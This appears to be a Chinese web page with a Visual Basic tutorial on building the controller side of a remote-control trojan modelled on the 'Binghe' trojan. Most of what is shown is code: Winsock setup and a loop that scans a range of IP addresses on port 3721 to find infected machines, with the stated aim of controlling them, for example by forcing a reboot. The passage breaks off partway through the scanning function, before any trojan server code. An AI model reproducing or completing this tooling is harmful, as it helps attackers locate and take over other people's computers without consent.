📄 192.htm
字号:
<p>谈谈远程控制中关于搜索、控制计算机的功能</p>
<p></p>
<p>相信大家对“冰河”之类的软件一定都非常的感兴趣,这里我们一起来讨论一下“冰河”类软件中关于如何实现搜索、控制远端计算机(在局域网、或互联网上搜索那些中了木马的机器)的功能。</p>
<p>一、 编程原理</p>
<p>客户端程序:(控制远端计算机)</p>
<p>在 VB 中,我们可以通过 Winsock 控件的 TCP 协议,通过循环向指定的各个 IP 地地址的指定端口发送连接请示,然后分析返回值,已确定哪些机器是我们可以控制的。</p>
<p>服务器端程序:(也就是木马)</p>
<p>同样通过 Winsock 控件的 TCP 协议,通过监视指定的端口,取得相关的信息,分析信息是否为客房端程序发送过来的信息,然后进行一定的处理。</p>
<p>二、 基础知识</p>
<p>下面介绍一下 Winsock 控件的属性、方法、事件,这样大家对程序就会有更深的了解。</p>
<p>Winsock 控件的属性:</p>
<p>.LocalIP 属性 返回本地机器的 IP 地址,格式是 IP 地址加点字符串 (xxx.xxx.xxx.xxx)。在设计时是只读的,而且是不可用的。</p>
<p>.Protocol 属性 返回或设置 Winsock 控件所使用的协议— 或者是 TCP,或者是 UDP。</p>
<p>.RemotePort 属性 要连接的远程计算机的端口。</p>
<p>.RemoteHost 属性 要连接的远程计算机的名称,也可以是 IP 地址。</p>
<p>.LocalHostName 属性 返回本地机器名。在设计时是只读的,而且是不可用的。</p>
<p>.State 属性 返回控件的状态</p>
<p>State 属性的设置值是:</p>
<p>常数 值 描述</p>
<p>sckClosed 0 缺省的。关闭</p>
<p>sckOpen 1 打开</p>
<p>sckListening 2 侦听</p>
<p>sckConnectionPending 3 连接挂起</p>
<p>sckResolvingHost 4 识别主机</p>
<p>sckHostResolved 5 已识别主机</p>
<p>sckConnecting 6 正在连接</p>
<p>sckConnected 7 已连接</p>
<p>sckClosing 8 同级人员正在关闭连接</p>
<p>sckError 9 错误</p>
<p></p>
<p></p>
<p>Winsock 控件的方法</p>
<p>.Connect 方法 要求连接到远程计算机。</p>
<p>.Close 方法 对客户机和服务器应用程序关闭 TCP 连接或侦听套接字。</p>
<p>.Listen 方法 创建套接字并将其设置为侦听模式。该方法仅适用于 TCP 连接。</p>
<p>.GetData 方法 获取当前的数据块并将其存储在变体类型的变量中。</p>
<p>.Accept 方法 仅适用于 TCP 服务器应用程序。在处理 ConnectionRequest 事件时用这个方法接受新连接。</p>
<p></p>
<p>Winsock 控件的事件</p>
<p>.ConnectionRequest 事件 `当远程计算机请求连接时出现。仅适用于 TCP 服务器应用程序。</p>
<p>.DataArrival 事件 `当新数据到达时出现。</p>
<p>三、 编程实践</p>
<p>下面我们就以一个实例来说明,如何实现用控制程序(客户端的程序)在局域网或互联网上搜索运行了木马(服务端的程序)的计算机,并对其进行控制(让该计算机重新启动)。</p>
<p>(1)客户端程序:</p>
<p>1、新建一个 VB 工程,添加一个 Winsock 控件(用来实现远程连接);一个 ProgressBar 控件;一个 List 控件(显示可以控制的计算机的 IP 地址);一个 Frame 控件,其 Caption 为 “搜索范围”;七个 Label 控件,其 Name 都为默认值,Caption 分别为 “监听端口:”,“延迟时间:”,“毫秒”,“起始域:”,“起始地址:”,“终此地址:”,“搜索结果:”;二个 Command 控件,其 Name 都为默认值,Caption 分别为“开始搜索”,“程序结束”,一个 StatusBar 控件(其中涉及的几个非常规控件,请按下面的步骤加载:工程→部件→Micrsoft Windows Common Controls 5.0;Microsoft Winsock Control 6.0),程序设计界面如图1所示:(是不是和冰河 V2.2 版中搜索计算机的窗口非常相似呀)</p>
<p>2、现在切换到代码编辑窗口,依次写入以下代码:</p>
<p>注意:在下面程序中我所提到的“木马”,就是服务器端的程序</p>
<p>①全局变量的声名</p>
<p>Option Explicit</p>
<p>Dim myip As String `保存本地 IP 地址</p>
<p>Dim IsFind As Boolean `判断计算机是否可以控制</p>
<p>Dim temp_i, temp_j, temp_n, temp_o, sum_i As Long `5 个临时变量</p>
<p>②程序初始化设置</p>
<p>Private Sub Form_Load()</p>
<p> myip = Winsock1.LocalIP `返回本地机器的 IP 地址,在设计时是只读的,而且是不可用的。</p>
<p> Winsock1.Protocol = sckTCPProtocol `使用 TCP 协议</p>
<p> `程序初始化设置</p>
<p> Text1(0).Text = "3721" `为服务器端口值</p>
<p> Text1(1).Text = "2000" `搜索木马机器的延迟时间</p>
<p> For temp_j = 1 To 3</p>
<p> temp_i = InStr(temp_i + 1, myip, ".")</p>
<p> Next</p>
<p> Text1(2).Text = Left(myip, temp_i - 1) `起始域</p>
<p> Text1(3).Text = "1" `起始地址</p>
<p> Text1(4).Text = "10" `终此地址</p>
<p> StatusBar1.Style = sbrSimple `设置 StatusBar 控件的样式</p>
<p> StatusBar1.SimpleText = "准备搜索" `设置 StatusBar 显示的文本</p>
<p>End Sub</p>
<p>③开始搜索中木马的计算机</p>
<p>Private Sub Command1_Click()</p>
<p>On Error GoTo error1</p>
<p> sum_i = 0 `用来保存搜索到的计算机数目</p>
<p> temp_j = ProgressBar1.Min `取得 ProgressBar 控件的最小值</p>
<p> List1.Enabled = False</p>
<p> List1.Clear `清空列表框</p>
<p> StatusBar1.SimpleText = "开始搜索计算机....."</p>
<p> Command1.Enabled = False</p>
<p> For temp_i = 0 To 4</p>
<p> Text1(temp_i).Enabled = False</p>
<p> Next</p>
<p> `进行一系列的错误判断</p>
<p> If Int(Text1(3)) < 0 Then GoTo error1</p>
<p> If Int(Text1(4)) < 0 Then GoTo error1</p>
<p> If Int(Text1(4)) - Int(Text1(3)) < 0 Then GoTo error1</p>
<p> ProgressBar1.Max = (Int(Text1(4)) - Int(Text1(3)) + 1) * 10 `定义 ProgressBar 控件的最大值,在后面的程序中可以实现"进度条"</p>
<p> For temp_i = Int(Text1(3)) To Int(Text1(4)) `循环开始连接各个 IP 地址</p>
<p> StatusBar1.SimpleText = "正在连接" & Text1(2).Text & "." & temp_i & "....."</p>
<p> IsFind = SearchComputer(Text1(2).Text & "." & temp_i) `通过自定函数 SearchComputer 判断该 IP 地址,是否有可以控制的计算机</p>
<p> temp_j = temp_j + 10 `定义"进度条"增加的块数</p>
<p> ProgressBar1.Value = temp_j `增加“进度条"的块数,以产生动态变化</p>
<p> StatusBar1.SimpleText = "搜索完毕,共找到" & sum_i & "台计算机可以控制"</p>
<p> Next</p>
<p> Command1.Enabled = True</p>
<p> List1.Enabled = True</p>
<p> For temp_i = 0 To 4</p>
<p> Text1(temp_i).Enabled = True</p>
<p> Next</p>
<p> </p>
<p> Exit Sub</p>
<p>error1:</p>
<p> MsgBox "程序运行错误,请重新设置后,再运行本程序!!", vbCritical, "程序错误"</p>
<p> For temp_i = 0 To 4</p>
<p> Text1(temp_i).Enabled = True</p>
<p> Next</p>
<p> List1.Clear</p>
<p> Command1.Enabled = True</p>
<p> StatusBar1.SimpleText = "准备搜索"</p>
<p>End Sub</p>
<p>④自定义 SearchComputer 函数,用来判断指定 IP 地址的计算机是否可以控制</p>
<p>Private Function SearchComputer(ByVal ip As String) As Boolean `自定义函数,判断指定 IP 地址的计算机是否可以控制</p>
<p>On Error Resume Next `在 Win98 下测试时,有时间会出现“没有可用的缓冲空间”的错误,而在 Win2000 下测试时则不会出现该错误,因此为了防止程序出现致命的错误,就用了这个 On Error Resume Next</p>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -